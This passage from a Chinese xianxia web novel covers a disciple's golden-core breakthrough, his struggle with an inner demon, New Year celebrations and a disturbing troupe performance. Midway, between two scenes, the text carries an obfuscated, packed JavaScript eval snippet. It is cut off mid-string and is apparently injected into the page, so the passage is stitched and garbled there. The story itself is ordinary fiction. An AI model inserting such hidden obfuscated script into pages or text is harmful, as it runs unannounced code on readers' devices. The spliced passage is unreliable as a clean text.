魏清风道:“你们都去过什么地方找了?” 段星河道:“望海郡和大幽的都城我们都找过了,这个郡我们也转的差不多了。我们打算开春之后继续往西走,去下个郡问一问。若是整个大幽都没有,就去其他国家看一看。” 他们没什么办法,只能这样地毯式搜索。事已至此,责罚他们也没有用。魏清风叹了口气道:“你们能重聚在一起,已经很不容易了。小雨必须找回来,等我找几个朋友问一问,找到她就一起回去。” 师父没有发怒,大家都松了口气,只是每个人的心上还是笼罩着一层阴云。吃完了饭,众人准备散去了。魏清风道:“星河,你留下。” 段星河沉默着停了下来,师父已经去了里屋。步云邪想师父一向器重他,应该不会罚他,便道:“走吧,回去等他。” 其他人纷纷离去了。段星河站在隔间里,见师父弯腰在包袱里找着什么东西。段星河后背渗出了冷汗,想师父肯定要责骂自己了,说不定还要拿家法打自己一顿。 上次他挨师父打还是十六岁那年,夏天有两个小师弟嫌热,偷偷跑去半山腰的水塘里游野泳,结果被水草缠住脚上不来了。段星河从那边经过,见两个熊孩子在水里扑腾,想也没想就跳进去救人。他把一个人推上了岸,再去救另外一个的时候,就有些吃力了。 两个人都喝了不少水,水里那个孩子死死地抱着他不撒手,他自己差点也沉下去。幸亏其他人跑去叫了师父过来,这才把他们俩都拖了上来。 段星河趴在草地上咳嗽了半天,把水吐干净了,大口喘着气。他浑身都湿透了,还有些心有余悸,但总归是救了两个人。他本以为师父会嘉奖自己,没想到魏清风却重重地打了他一巴掌,怒道:“蠢材,连自己都救不了,还想救别人!” 段星河被打懵了,直到回去之后,耳朵里还嗡嗡地响着那句话。 他知道师父是为了自己好,虽然教徒弟要一碗水端平,但师父养了这么多年的长徒,看在眼里就像亲儿子一样,万一淹死了,他的心血也就没了。 段星河很小就没了父母,一直把师父和师娘当成亲爹娘,小雨就像他的亲妹妹一样。他们对自己那么好,弄丢了她,段星河十分自责。 他低着头,道:“师父,我错了,你狠狠罚我吧。” 魏清风缓步走到了他面前,道:“知错能改,善莫大焉。你既然有悔过之心,这段时间也在保护同门,为师就给你一个戴罪立功的机会,去把小雨找回来。” 段星河抬头看着他,魏清风的神色平和,并没有发火。他把一包沉甸甸的银子递过来,放到了段星河的手里,道:“这是为师这段时间炼丹卖药挣的钱,一共二百两,一直没舍得花。你们行走在外用钱的地方多,拿着吧。” 段星河没想到师父非但没责罚他,还给自己盘缠。他越发愧疚了,哑声道:“师父,你放心,我一定把小雨找回来!” 魏清风的神态慈和,道:“为师相信你。你是我最欣赏的徒弟,逍遥观将来要交到你的手上,你一定要把门派发扬光大。” 他淡淡道:“你是个大小伙子了,自己知道该做什么,不该做什么。师父不会责备你了,不用紧张。” 段星河道:“弟子没有紧张,我只是、只是……” 他也不知道自己是怎么回事,从前被人关在采石场凿石头的时候,他都能咬紧牙关撑过去,此时却十分难受。人在信任的人面前才会变得脆弱,之前他要做其他人的靠山,不能轻易动摇。此时他却像刚被师娘捡回来的那个小孩,脏兮兮地站在屋门口,揪着衣角,生怕大人不要自己。 恍惚间,他想起了最初被带到逍遥观那天的情形。师娘放下竹篮道:“清风,咱们这么多年一直没孩子,我帮你收个徒弟。这孩子身板结实好养活,有了他,说不定就把子息招来了。” 魏清风手里拿着一卷书,抬头看了他一眼,沉默了良久。他走到段星河面前,道:“叫什么名字,多大了?” 段星河道:“我叫段黄河,八岁了。” 魏清风露出一丝苦笑,道:“黄河最近枯竭,年年都断,要不然闹旱灾呢。我给你改个名字吧,就叫星河,一剑断星河,恢弘大气,你喜欢么?” 他感觉是比原来好听多了,点了点头。魏清风道:“好,那从今天起你就是我的徒弟了。你喊我师父,我教你修道。” 一晃十多年过去了,魏清风站在他面前,容貌跟从前没有太大的变化,段星河却从一个小孩儿长成了个男人。师父拍了拍他的肩膀,他的认可让段星河充满了力量,让他有勇气去面对未来的艰险。 魏清风道:“离过年还有几天,你把三尾狐的内丹吃了,好生修炼。这些人还需要你来保护,你必须抓紧变强,明白么。” 段星河点了点头,道:“知道了。” 夜深人静,段星河服下了那颗三尾狐的内丹,盘膝而坐。狐妖二百多年的修为十分强大,一融入体内,他顿时感觉一股热气充满了全身。段星河运起了四正罡气,将那股热流引导着走了几个周天。 那股力量每游走一圈,便帮他冲破一道障碍。段星河浑身极其舒畅,他本来尚在筑基中期,此时却觉得自己变强了许多。他凝神观照自己的气海之中,有一枚金丹正在慢慢形成,放出灿烂的光华,他周身也散发出点点幽紫的光芒。 段星河心中一惊,自己竟是一跃到达了金丹期。那只三尾狐修炼了二百年才攒下了这颗内丹,他这回起码将它一半的功力化为己用,一下子就超越了不少苦苦修行的同龄人,甚至白发苍苍的老道士也未必有他的功力深厚。 段星河给自己定下的目标,本来是四十岁之前到达金丹期,百岁到达元婴期。如今遇上了这么好的机缘,一下子少受了几十年的苦。难怪修真界中的人常常杀人夺宝、剖妖物内丹,这实在是一条修行的捷径,一旦尝到了甜头,就很难回到天长日久慢慢修炼的心态了。 “富贵险中求……” 段星河张开手,一道幽紫的灵光在他掌心上漂浮着。他轻轻一挥,灵光化为一道剑光,将桌上的蜡烛削断了。火光噗地一声熄灭了,屋里陷入了黑暗,外面的星光却越发亮了。 他的力量已经能够心随意转,化气为剑,这是从前的自己可望而不可即的。他感到了某种诱惑,吸引他去走更多的捷径。黑暗中,他听见一个阴沉的声音对他说:“你难道不想轻易拥有更多力量么,这个世界弱肉强食,没人会等你慢慢修成正果。比起老实修炼,杀戮不是来的更简单么——” 段星河皱起了眉头,回头看了一眼,屋里空荡荡的,没有别人。那个声音又道:“成仙就是踩着别人的尸体往上爬,登阶登的就是白骨累累的阶。凡是大能,没有几个是干净的。你抢夺了这只妖狐二百年的修为,这不是也很理所当然么?” 段星河意识到,那条大蛇又出现了,它还是没有放弃诱惑自己。 方才一瞬间的动摇,给了它出声的机会。他知道是自己的贪欲引发了恶念,这种事就像赌博,只不过别人是在赌钱,他却是在赌命。 这种侥幸没有第二次,他不想在万丈悬崖上走钢丝。段星河沉下心来,对那个声音置之不理,那股烦恶的气息渐渐消失了。他如同畅游在一个清静的世界中,心外再无他物。 段星河闭关直到除夕,再出来时,整个人如同脱胎换骨一般。他把自己修到了金丹期的事告诉了大家,众人睁大了眼,一时间都不敢相信。魏清风把住了他的脉门,感觉他体内的气息澎湃,确实已经达到了金丹期。寿元可至三百岁,灵力大幅提高,一般的小妖小怪都不是他的对手了。 魏清风微微一笑,道:“不错,确实修到金丹期了,不愧是我的好徒弟。” 众人缓过劲儿来了,一拥而上围着段星河,争先恐后地摸他脉门。大师兄变强了,他们也更有安全感了。伏顺和赵大海分别拉着段星河的左右手,道:“大师兄,给点劲儿,让我感受一下金丹期的力量。” 段星河感觉他们跟看猴似的,但还是使出了一点灵力,把他俩震得往后退了一步。伏顺感觉手心里嗡嗡的,睁大了眼道:“好厉害!” 赵大海道:“你不是也筑基了吗,有什么好羡慕的。” 前几天步云邪把他们打来的赤藤妖晶炼成了聚灵丹,给每人都发了两颗。伏顺之前受了伤就吃过几颗聚灵丹,这回两颗药下了肚,顿时感觉自己跟以前不一样了,体内好像充满了力量,行气时也能感到一股明显的热流了。 他调息了一日,感觉自己好像筑基了。他不确定,来找师父看。魏清风摸了他的脉搏,道:“筑基了,很好。大海呢?” 赵大海站在一旁,有些局促,又有点惭愧道:“我资质愚笨,没有多少感觉。” 魏清风摸了一下他的脉搏,觉得力量也变强了一些,只是缺乏一个突破的契机。师父安慰道:“你天性朴实,修炼的慢一点也不打紧。我看你最近也不结巴了,这不就是一件好事么?” 赵大海忽然意识到自己是好久都不打磕巴了,看来修炼还是有效果的。他搔了搔头,心里也高兴起来。 伏顺拉着段星河,非要他徒手开个砖,试一下力量。段星河道:“别闹,你先拿头开一个。” 伏顺虽然筑了基,还是有自知之明的,想着脑瓜子比石头值钱,没必要去碰硬。 师父开口道:“力量不是拿来炫示的,你们既然修为更强了,就要承担更大的责任,明白么。” 师父发了话,众人便老实起来,纷纷道:“是。” 晚上就要过年了,师父道:“别在这儿杵着了,晚上吃饺子,去歇一会儿吧。” 众人便都散了,段星河跟步云邪沿着走廊往回走去。庭院里种着些竹子,冬天也依旧苍翠。步云邪拿胳膊肘碰了碰他,道:“哎,金丹期了,能徒手劈砖么?” 段星河扭头看他,道:“你怎么也跟他们一样?” 步云邪笑了,道:“试试嘛。” 段星河心里也好奇,走到庭院里,选中了一块南瓜大的太湖石,将灵力凝结在手里。 那块石头上的孔窍甚多,细的地方也就有手指头粗细,比实心的好劈。他以手为刀,虚空斩了下去,那块石头似乎没什么反应。步云邪揣着手在旁边看着,道:“不行?” 那块石头哗啦一声,忽然从细处崩裂开来。后面有几根竹子也斜斜地倒下去,扬起了一阵尘土,竟是被灵力波及也斩断了。两人都十分诧异,没想到金丹期的力量有这么强大。 步云邪感叹道:“星哥,有两下子啊!” 一名侍卫隔着墙望见一丛竹子轰然倒下,不知道出了什么事,大声道:“什么人?” 段星河打了个激灵,步云邪一把拉住了他的手,低声道:“赶紧跑。” 他们俩像搞了恶作剧的小孩儿,穿过月洞门,跑到了另外一间院子里。两个人躲在墙底下,听见对面一名侍卫道:“怎么回事,谁把竹子砍断了?” 另外一人道:“不知道,这石头好端端的也崩了,真是怪了。” 两人对视了一眼,忍着笑悄悄地走了。回到住处,步云邪烧了一壶水,道:“恭喜你,这才几天不见,就修到金丹期了。” 段星河藏了点心事,其实他头两天就练成了,后来的这些天一直在跟那条大蛇对抗。它就像自己的心魔,一有机会就把他往深渊里拽。段星河只能苦苦打坐守神,熬了三天才压制住了它的声音。 茶泡好了,屋里弥漫着茉莉花的香气。步云邪给他倒了一杯,道:“遇到心魔了么?” 段星河刚喝了一口水,差点被呛住,道:“我……咳,你怎么知道?” 步云邪淡然道:“师父说过,像这种大幅的提升,心魔很可能趁机出现,引诱人往歧途上走。杀盗淫妄,哪一个来找你了?” 段星河静了片刻,道:“妄,还有杀……可能还有盗。” 步云邪忍不住笑了,道:“就差一个不可说了是么?” 段星河无辜道:“那个真没有。” “有也没什么,”步云邪垂眼道,“你快二十岁了吧,正常人早该娶妻生子了。” 段星河对那些不感兴趣,道:“算了吧,我就想好好修道,也不懂跟女孩子打交道。” 步云邪嗯了一声,神色温和道:“你能好好的待在这里,就是通过了心魔的考验,不用太担心。” 段星河看向他,道:“你修到什么程度了?” 步云邪一直在闭关修炼,也有不少长进,道:“筑基中期了。我还给你留了几颗聚灵丹,你要是用不着,我就自己吃了。” 聚灵丹只对练气期和筑基期的修道者起作用,再往上就没什么效果了。段星河道:“那你吃了吧,给我也是浪费。” 他忽然想起了三尾狐,道:“那只狐狸呢?” 他闭关好几天没出来,步云邪差点把这事忘了,道:“前几天我和李玉真把狐狸交给凌烟阁了,拿了三百两报酬,每个人分了五十两银子,你那五十两我给你存着呢。” 他从抽屉里拿出了五十两银票,递了过来。段星河道:“多谢。” 自从到这边以来,虽然经历了一些危险,也挣了不少银子。有了这些钱,以后回去了,日子也能好过些。 两人坐着喝了一会儿茶,就到了晚上。大家吃了年夜饭,驿丞准备了不少烟花炮仗,跟值班的侍卫们搬到大门口去点燃了。焰火轰然飞上了天,红的、蓝的飞散开来,十分漂亮。小孩子穿着崭新的花棉袄,仰着头看着夜空中的烟花,兴奋地叫着:“咻——咚!” 驿丞又放了一串一万响的炮仗,道:“除旧迎新,新的一年顺顺利利,平平安安!” 街上此起彼伏的,到处都是炮仗声。段星河看着远处明明灭灭的焰火,心里生出了安宁的感觉。钟楼里的钟声响起来了,浑厚的声音回荡在城中。步云邪微微一笑,道:“星哥,新年快乐。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李玉真开心的不得了,觉得他们的师父简直太好了,道:“多谢前辈!” 一群人拿了压岁钱,打算好好花一花。大年初一,街上挤挤挨挨的都是人,有出来逛庙会的,有看热闹的,也有像他们一样出来花钱的。众人杂七杂八的买了不少东西,傍晚大包小包地回来了。 段星河等人在外头都吃饱了,拿了些白天买的果子、点心去给师父送过去。魏清风屋里烧着火,暖融融的。一帮小辈凑在他屋里,十分安逸。 步云邪和段星河对坐着下棋,捻着一颗白子慢悠悠地寻思半天,只是消磨时间。赵大海烧着水,一边道:“闲着也是闲着,谁来讲个故事吧。” 伏顺想了想,道:“那我给你们说一个,变驴的故事听过没?” 众人都没听过,道:“没有,你说吧。” 伏顺道:“这事是我听老家山里的一个爷爷说的,他说他小的时候,家里吃不起饭,又生了好几个孩子,就把他过继给了一个老姑奶奶。老姑奶奶那时候年轻,刚死了丈夫,从小会一些巫术,给人治好过病,也会给人接生。因此她虽然是个寡妇,乡里却没人敢惹她。” “爷爷跟着老姑奶奶过了一年,外面就遭了旱灾。地里的庄稼都死了,百姓们只能靠着余粮度日。山上的土匪也没得吃,就下山来打劫百姓。有两个人闯到了老姑奶奶家里,他们抢了粮食,又见老姑奶奶生的好看,想对她动手动脚。老姑奶奶也没害怕,只说先吃了饭再说。” “那两个土匪按捺着色心,等着老姑奶奶打发爷爷去里屋睡了。她便去了厨房,把那两个人招呼过去了。说来也怪,那两个人进了厨房,就没再出来过。” 李玉真有些好奇,欠身道:“他俩上哪去了?” 伏顺道:“爷爷说他问过老姑奶奶,她说他们拿了粮食,就自己回去了。可爷爷发现牲口棚里多了两头驴,那两头驴一直踢蹬叫唤,吵的人特别心烦。老姑奶奶就把那两头驴牵出去卖了,换了不少粮食回来。” 众人的心一沉,都明白了什么。伏顺继续道:“没过多久,山上的土匪又一次来了,这回土匪头子直接找老姑奶奶,问她有没有见过自己的两个兄弟。老姑奶奶给他倒了杯水,说见过,他们借了粮就走了。那土匪头子虽然不信,却也听说这女子是乡里有名的巫婆,不敢得罪她。他起身要再在附近找一找,忽然一阵天旋地转昏了过去,却是老姑奶奶在茶里下了药。” 伏顺道:“我爷爷在隔壁,把门拨开一道缝偷看。老姑奶奶从柜子里取出了一张驴皮,轻轻一抖,盖在了那人身上。她口中念着咒语,那张驴皮就越裹越紧,最终融合在土匪身上,把人变成了一头活驴!” 众人都十分惊讶,李玉真道:“然后呢?” 伏顺道:“没有然后了,我爷爷说他怕得很,只装作不知道。老姑奶奶把那头驴卖给了屠夫,剥了皮带回来,准备给下一个人用。土匪们没了头领,都抢着坐头把交椅,自己内斗起来,结果一窝子贼都死了。也算是个好结局吧,恶有恶报。” 他说完给自己拍了拍手,发现大家的反应跟自己想象的不一样。赵大海皱着脸道:“太瘆人了吧,大过年的,你怎么不说个喜庆点的?” 伏顺道:“我就知道这种啊,你就说好不好听吧?” 赵大海想了想道:“还行,就是有点像之前万象门的那个双生蛊。” 大家的神色顿时凝重起来,本来还觉得故事吓人,其实他们遇见的事已经比传说还要离奇了。伏顺想起了那个冒充自己的皮囊,感觉头又痒了起来,忍不住抓了几下。他之前把头发剪短了一截,如今都长得一般长了,像个毛炸炸的刺猬。 段星河本来还担心他要四周支援中央,没想到聚灵丹的力量十分强悍,不但治愈了他身体的损伤,连他挠坏了的头皮也修复了个七八成。 众人想起万象门,都有些惴惴不安,不知道那帮妖人什么时候又会出现。魏清风道:“你们也见过万象门的人?” “见过,”伏顺道,“他们还做了个我的双生蛊,想要取代我,潜伏在兄弟们中当卧底。” 魏清风道:“他卧底你们做什么?” 众人也答不上来,觉得自己一穷二白,没什么值得他们图谋的地方。唯一一本长生经算是值钱的东西,但究其本源,也是从万象门那里流传出来的。 步云邪回忆起当时的情形,觉得对方很多次都有机会能杀了伏顺,却没有这么做,只是一步步放大不安,让所有人都沉浸在那种恐怖的气氛里。他道:“我觉得他们是要制造恐慌,就是想让人人自危,草木皆兵。” 魏清风的神色淡然,道:“你说的不错,万象门崇尚的是恐虐,他们是从人的恐惧和痛苦中吸取力量的,所以养了好多伥鬼吓人。他们杀人之前,都要狠狠地折磨对方,让受害者彻底释放出恐惧。” 众人想起了万象门那美女将傀儡的皮吞吃下肚的情形,黏液从她的嘴角流出来,她伸出舌头舔了回去,仿佛无比享受。大家觉得既血腥又恶心,起了一身鸡皮疙瘩。魏清风又道:“那其实是最低级的恐虐,真正高级的恐虐,是另外一种。” 众人都看向了师父,段星河道:“是怎么样的?” 魏清风一时间没有回答。外头寒风呼啸,尖锐的风声让人感觉很不舒服。灯光轻轻摇晃,映得师父的神色跟平时不太一样,显得有些神秘。 22.吉祥百戏班 一 众人注视着师父,有些害怕,又充满了好奇,想知道什么才是高级的恐虐。 “欲取先予。”魏清风道,“真正的恐虐,是大喜之后的大悲。因为感受过美好,所以失去的时候才会更加痛苦,甚至于崩溃。” 弟子们毕竟年纪不大,没经历过太多,体会不了师父的话。魏清风道:“那种程度的恐虐,才是万象门的人痴迷的力量。他们从前的头目夜游神就是玩弄人心的高手,一旦落到他的手里,便是求生不得求死不能。不过他现在不在了,其他人只会一些小伎俩,你们只要内心强大就不用怕。” 众人若有所思,纷纷点头。魏清风看了一眼天色,道:“不早了,回去休息吧。” 弟子们便收拾了橘子皮和瓜子、桂圆壳、核桃皮,攒了满满一大桶。赵大海准备走的时候捎出去,伏顺拍了他背一下,道:“喂,大年初一不准倒垃圾,扔出去的都是财气!” 赵大海为难道:“可是扔在师父这里不好吧?” “没事,”魏清风笑了,“放那儿吧,明天再收拾。” 过年这几天放松,段星河塌下心睡了一大觉,天明时分他听见街上有人大声道:“好消息,吉祥百戏班来贵地表演,过年期间每日酉时初在城东老戏楼演出,欢迎大家来看。祝各位新年安康,万事如意。” 段星河翻了个身,那声音又徐徐地传过来。说话的是个女子,声音里带着一点梦呓的感觉,让他分不清自己是在做梦还是醒着。他坐了起来,听见那声音渐渐远去了,耳边还回荡着:“祝各位新年安康,万事如意——” 伏顺和赵大海像猴子一样,一前一后地跑进院子,在外面拍门:“大师兄,醒了没有?” 段星河披上外衣开了门,赵大海兴奋道:“大师兄,你听见了吗,有杂耍班子来了!” 段星河嗯了一声,去打水洗脸刷牙。伏顺道:“我们刚从街上回来,见杂耍班子有好几辆大车,车上有好多有意思的玩意儿,你要不要去看看?” 段星河倒了洗脸水,抬手把头发梳了个马尾,道:“走远了吧?” “还没呢,”伏顺道,“他们东西多,走的老慢了。” 他一把拉起段星河,拽着他往外跑去。三个人出了门,就见一个臃肿的车队缓缓地行驶在大街上。七八辆大车上放着大鼓、高跷,各种青面獠牙的面具,还有五颜六色的戏服,有点像大型庆典的花车,但看起来更花哨一些。 最前面一个人穿着大红色的衣袍,手里拿着一根横杆,脚踩着一个硕大的木球缓缓经过。他身后的大车上,坐着个头戴花冠的女子,手里拿着个没有哨片的铜喇叭口,缓缓地介绍着他们的杂耍班子。 段星河刚才听到的声音就是这么来的,那女子的体格寻常,声音居然能传这么远。后面的车上坐满了戏班子里的人,正在朝街上的百姓挥手。有的车上放着许多铁笼子,里头关着些小猴,扒着笼子一跳一跳的,吱吱直叫。 街两旁站满了看热闹的百姓。好多小孩子望着车队,都很感兴趣,跟大人央求着要去看。 大人道:“晚上吧,他们天黑表演。” 又有人道:“贵不贵啊?” 大车上的戏班子成员听见了,扒着车边喊道:“大人三十文钱一位,小孩儿免费。座位有限,先到先得,欢迎来看啊——” 百姓们觉得这些人十分有趣,纷纷道:“好好,一定捧场。” 赵大海道:“大师兄,咱们也去看看吧。” 段星河不是很感兴趣,觉得花这钱还不如吃顿好的。但伏顺和赵大海难得见一回这样的热闹,确实很想去。他道:“去也行,反正师父给的红包还没花完呢。” 回到驿馆,他们跟其他人说了戏班子的事,李玉真很感兴趣,步云邪觉得无所谓,大家都去的话他也去。师父对那些小孩子的事不感兴趣,就不去了。 当天晚上,段星河等人一起去了城东老戏楼。这边戏楼的主人年纪大了,自家班子里只剩下些五六十的老人,拉拉胡琴、敲敲梆子,初一十五唱一出,其他时间都请说书先生说说书,赚些客人的茶水钱。 吉祥百戏班一来,就包了老戏楼十多天,打算从初二演到十四。老戏楼的老板十分高兴,下午还派了几个人出去,帮他们宣传戏班子,请大家都来看。 百姓们过年期间除了串亲戚之外没别的事做,来了个杂耍班子,自然把他们的兴趣都吸引过去了。天一黑,大人们就带着孩子来到了老戏楼。戏楼北边是个长方形的舞台,东西南三面都是观众席。段星河他们去的有点晚,只能坐在后排。前头乌乌泱泱的都是人,伏顺搓了搓手,兴奋道:“要开始了吗?” 上午那名女子上台来报了幕,观众渐渐静了下来。吹打班子奏起了乐,一个人踩着木球在场中转了几圈,手里拿着三个小球抛来抛去的,让人眼花缭乱。一人手里拿着火把,轰地一声朝下面吹了一大把火。台下的小孩子顿时发出一阵惊呼,大人们纷纷拍手,气氛热闹起来。 一个书生模样的人缓步走上来,手里拿着扇子一甩,正面写着吉祥如意,背面画着两只蝴蝶。他手一扬,两只纸片做的蝴蝶飞了起来。他摆动扇子,把蝴蝶扇得翩翩飞舞,也不知道他用了什么手法,蝴蝶越飞越高、越来越多,一群五颜六色的蝴蝶飞得漫天都是。 他把扇子一收,蝴蝶就都消失了。前头的小孩儿看得十分惊讶,睁大了眼道:“蝴蝶呢?” 孩子的娘道:“人家会变戏法,变没了。” 小孩儿崇拜道:“真厉害,我也要学。” 母亲微微皱眉,道:“好好读你的书,好人家的孩子谁去学这个!” 那小孩儿有点委屈,但大人说的也没错,但凡吃得起一口饭的人家都舍不得让孩子去学这个。挣钱少地位低不说,天天踩高跷,走钢索,万一掉下来摔坏了就是一辈子的事。 孩子的奶奶劝道:“大过年的,别说这些了,好好看戏。” 灯光暗了下来,台子上一片漆黑,只有一道白色的大灯照下来。那道白光中,一具骷髅躺在地上,渐渐地,它像苏醒过来似的手动了一下,腿又动了一下,霍然坐了起来。 “铛——咚咚咚锵!” 有人敲响了梆子和锣鼓,突如其来的动静吓了大家一跳,惹得台下的孩子们一阵惊叫。那具骷髅站了起来,在灯光里活动了一下脑袋,张了张嘴,又动了动手脚,灵活的就像活人一样。 乐班子吹起了幽幽的笛曲,轻巧的鼓点和铃声响了起来。那具骷髅在台上随着音乐的节奏跳着舞,有点吓人,又很是滑稽。一只穿着绿色马甲的小猴儿从后台上来,盯着那具骷髅看了半天,仿佛被它吸引住了,用力拍手。 一盏红色的小灯亮起,这时候观众才看到,黑暗中还有个人坐在角落里,操纵着那具骷髅。他脸上戴着个木头面具,嘴角拉到耳根,露出一副不怀好意的笑容。他手里拉着线,牵引着骷髅一步步往身边走去。大家看见那人身边放着一个铁笼子,大开着笼门,正等待着猎物入彀。 台下有小孩子喊道:“别往前走啦,坏人,那是坏人——” 声音里带着稚气,很为小猴儿担心。大人们都知道是演戏,笑了起来,那孩子却又气又急,不知道他们怎么还笑得出来。 骷髅跳着舞,来到了笼子后面。小猴儿茫然不知危险,像着了迷一般一头钻了进去。哐地一声,铁门降了下来,小猴儿被关在了笼子里,吱吱直叫。音乐戛然而止,灯熄灭了,陷入了黑暗中。 台下一阵唏嘘,有人跟身边的孩子道:“看见没,拍花子的就这样,千万别跟陌生人走,知道了吗?” 小孩儿都吓得不轻,连连点头,有的更是直接哭了出来,不知道小猴儿后来怎么样了。 琵琶声响了起来,明亮的灯光从顶上打下来,曲子换成了十面埋伏,台上生出了一股肃杀的气氛。 一个穿着黑衣的男子来到舞台中间,他露着一双黝黑的手臂,身上的肌肉结实饱满。他手里拿着七八柄粗细不一的剑,并在了一起,张嘴仰头,把剑缓缓地放进了喉咙里。大家都十分紧张,生怕他割伤了自己。墨墨也是头一次见这种危险的表演,睁大了黑豆眼,脚爪子都缩在了一起。 步云邪低声道:“别怕,这叫吞剑。” 黑衣男子衔着剑静了片刻,忽然一张嘴,一大把剑都落了下去。 “哇啊啊啊啊啊——” 下面的观众发出一阵惊呼,以为他必然要肠穿肚烂了。那人却抬起了手臂,用力地挥了挥,表示自己安然无恙。他从口中取出了剑,一派轻松的神色,非但不觉得危险,反而乐在其中。 有人提了个铁桶上来。前排的看不到里面有什么,后面的观众望见里头黑乎乎的,有东西不住蠕动着。助手把里头的东西倒了出来,七八条黑色的蛇满地扭动,嘶嘶地吐出鲜红的信子,竟然都是活的! 观众下意识往后躲去,光看都觉得受不了。那人抓起一把蛇,让它们自由地在身上爬行。黑蛇缠绕着他的手臂、脖颈,缓缓地爬到了他的脸上。观众们越发害怕了,小孩子发出了尖锐的哭声。 “呜——哇——” 墨墨拍了拍翅膀,好心眼儿发作,想帮他把那些蛇扯下来。步云邪一把拽住了它,道:“人家表演戏法儿呢,你别过去。” 那人抓住两条黑蛇,从一边的鼻孔穿进去,把蛇头从嘴里掏了出来。观众们已经吓得魂不附体了,大姑娘小媳妇别开了眼,小孩儿的哭声都微弱的很了。他随即把另外几条蛇从另一个鼻孔中穿进去,蛇尾巴梢还卷曲着来回摆动。 远远看上去,他满嘴都是蠕动的触须,就像一尊活的邪神。在大幽,蛇代表着至高无上的力量,这人把自己扮成这样,便是模仿虺神的意思。他张开双手,神色威严。众人对他十分敬畏,场中一时间鸦雀无声。 段星河道:“感觉怎么样?” 步云邪面无表情道:“刺激。” 李玉真捂着眼道:“演完了么,我有点受不了了。” 音乐一变,气氛忽然轻快起来。两个白鼻子小丑穿着肥大的裙裤,头上戴着个红帽子,蹦蹦跳跳地上了台。两人跑跳了一阵子,忽然把裙子一掀,露出了里头的假腿。观众们登时吃了一惊,哗然道:“啊?” 那两人一个缺了左腿,一个缺了右腿,装着机械的义肢,行动起来却极其灵活。小孩子们十分好奇,伸着脑袋想看得更清楚一些。两个小丑玩了一阵子,好像累了,倒在地上背靠着背睡着了。这时候一个人贴着地面,呲溜一下滑上了场。大家都十分诧异,定睛一看,却见那人没有下半截身子,扒着一个带滚轮的板子滑了上来。 那人趁着两个小丑睡着了,偷偷卸下了他们的两条机械腿,装在了自己身上。他高兴的不得了,原地蹦跳了几下,接连几个后空翻,随后来了个单手倒立,台下的观众轰然叫好。 先前的那两个小丑醒了过来,发现自己少了一条腿,登时一蹦一跳地去追。那个偷腿的人却迈着两条机械的腿跑来跑去的,炫耀自己灵活。 有些观众觉得小丑可怜,另一些人则哈哈大笑。几个侏儒牵着小猴上来了,台下的大人低声道:“看,小猴儿又来了,都好好的呢。” 刚才为小猴儿担心的孩子们顿时松了口气,台上有人架起了火圈。七八个小猴接二连三地跳过去了,侏儒拿起笔来,想在纸上作画。一只小猴儿却跳起来抢走了他的笔,甩了他一脸墨,逗得大家哄堂大笑。 侏儒气得直跺脚,低头擦脸的功夫,小猴儿提笔画了一只硕大的金元宝。小猴儿画完了,还跟人作揖恭喜发财,观众们纷纷赞叹这小猴儿聪明伶俐,也不知道是怎么教的。墨墨看的入神,鼻子翘着,觉得十分有趣。 段星河看着台上道:“他们从哪儿找的这么多怪人?” 伏顺见怪不怪了,道:“咱们乡里就有招的,家里有不能干活的残疾人,爹娘狠心的就会把他们卖了。也有人自愿跟着杂耍班子干活,往家寄钱。反正在家里也是累赘,还不如出来挣点钱花。” “这些都是好的,起码来去自由。”赵大海道,“很多乞丐都是小时候被拐走了,弄残了出来乞讨的。控制他们的人就在附近盯着,救都救不出来。” 他一想起那些悲惨的情形,就很不忍心。步云邪道:“采生折割,按律法要凌迟的。” 李玉真叹了口气,看着台上的那些缺胳膊独眼的侏儒,道:“那他们应该是自愿的吧?” 步云邪冷冷道:“你去问,他们肯定说是自愿的,反正不自愿的都被打死了。” 观众们都在笑,老戏楼里充满了欢乐的气氛,却又莫名弥漫着一股怪异的气息。段星河他们笑不出来,本来好好地过年出来玩,却蒙上了一层阴影。 最后压轴的是个机械巨人,有一丈来高。大家没见过这么灵活的机械人,都十分惊讶。机械巨人挥舞着铁拳,带着一群小猴儿打败了几只青面獠牙的小鬼,又点燃了鞭炮,驱逐了大怪物年兽,今天的表演就此结束了。 人们纷纷散去,李玉真走出了老戏楼,竟然有种如释重负的感觉。段星河道:“不喜欢吗?” 李玉真从小读书修道,不喜欢这种以别人的痛苦来取乐的方式,但有很多杂耍班子都这样,要不然也不会养那么多畸形人。他道:“有点接受不了,以后还是不看了。” 伏顺倒是觉得挺有意思的,跟赵大海眉飞色舞地讨论着刚才那舞蛇汉子。夜幕中挤挤挨挨的,到处都是回家的人,小孩儿骑在父亲肩上,学着机械人亮相的模样比了个手势,大声道:“嘿,哈——代表虺神,消灭你!” 大幽的百姓大多信奉虺神,小孩子从小就把虺神当成正神来崇拜。但段星河知道它并非传闻中的那么好,众人都没再说话,沉默着回了驿馆。 过了初五,外面还是有些冷。大家在驿馆里猫着,也没什么事做。段星河午睡起来,走到隔壁门前,见赵大海和伏顺弓着背,鬼鬼祟祟的不知道在干什么。 他过去一看,见墨墨侧躺在茶桌上睡着了。赵大海拿起一颗红枣放在它肚子上,墨墨闭着眼,身上瓜皮状的花纹随着呼吸一起一伏的,睡得相当安逸。伏顺拿了一枚栗子放在它身上,墨墨依旧没动。 这些人不能没事干,一闲着就要搞事情。段星河道:“你们俩宝器做啥子呢?” “嘘——”赵大海道,“我们俩打赌,谁把它弄醒了谁帮对方刷鞋。” 他说着把一个小橘子轻轻地放在墨墨的肚子上,段星河觉得这个行为十分幼稚,又莫名吸引人,忍不住也想加入进去。伏顺拿起了一颗葡萄干,赵大海悄声道:“你那不行,太轻了,加码。” 伏顺就捏了一撮葡萄干,小心翼翼地摆在墨墨的肚子上。墨墨的呼吸一滞,三个人都下意识屏住了呼吸,等了片刻,幸亏它没动。三个人忍不住吃吃直笑,觉得十分刺激。李玉真揣着袖子过来,道:“晚上吃什么啊,兄弟们。” 三个人紧张地回过头,同时对他比了个嘘的动作。李玉真吓了一跳,站着不敢动了,片刻小声道:“这是干嘛?” 段星河已经融入进去了,道:“看着就行了。” 